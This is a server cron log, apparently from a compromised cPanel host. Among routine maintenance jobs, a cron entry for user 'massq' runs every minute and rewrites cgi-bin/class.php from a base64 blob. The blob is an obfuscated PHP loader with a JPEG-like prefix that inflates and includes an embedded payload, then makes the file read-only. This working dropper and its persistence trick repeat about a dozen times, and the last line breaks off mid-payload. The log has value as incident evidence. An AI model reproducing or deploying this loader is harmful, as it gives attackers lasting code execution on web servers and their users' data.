Sep  2 01:24:01 server CROND[2355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:24:01 server CROND[2356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:24:01 server CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:25:01 server CROND[2771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:25:01 server CROND[2773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:25:01 server CROND[2779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:25:01 server CROND[2780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:25:01 server CROND[2784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:25:01 server CROND[2781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:25:01 server CROND[2782]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:26:01 server CROND[4098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:26:01 server CROND[4099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:26:01 server CROND[4100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:27:01 server CROND[4480]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:27:01 server CROND[4482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:27:01 server CROND[4483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:27:01 server CROND[4484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:28:01 server CROND[4959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:28:01 server CROND[4960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:28:01 server CROND[4961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:29:01 server CROND[5330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:29:01 server CROND[5331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:29:01 server CROND[5332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:30:01 server CROND[5720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:30:01 server CROND[5721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:30:01 server CROND[5725]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:30:01 server CROND[5724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:30:01 server CROND[5726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:30:01 server CROND[5727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:30:01 server CROND[5729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:30:01 server CROND[5730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:31:01 server CROND[6554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:31:01 server CROND[6555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:31:01 server CROND[6556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:32:01 server CROND[6924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:32:01 server CROND[6926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:32:01 server CROND[6927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:33:01 server CROND[7409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:33:01 server CROND[7410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:33:01 server CROND[7411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:34:01 server CROND[7778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:34:01 server CROND[7779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:34:01 server CROND[7780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 01:35:01 server CROND[8155]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 01:35:01 server CROND[8157]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:35:01 server CROND[8163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:35:01 server CROND[8161]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 01:35:01 server CROND[8170]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 01:35:01 server CROND[8171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:35:01 server CROND[8172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:35:01 server CROND[8167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5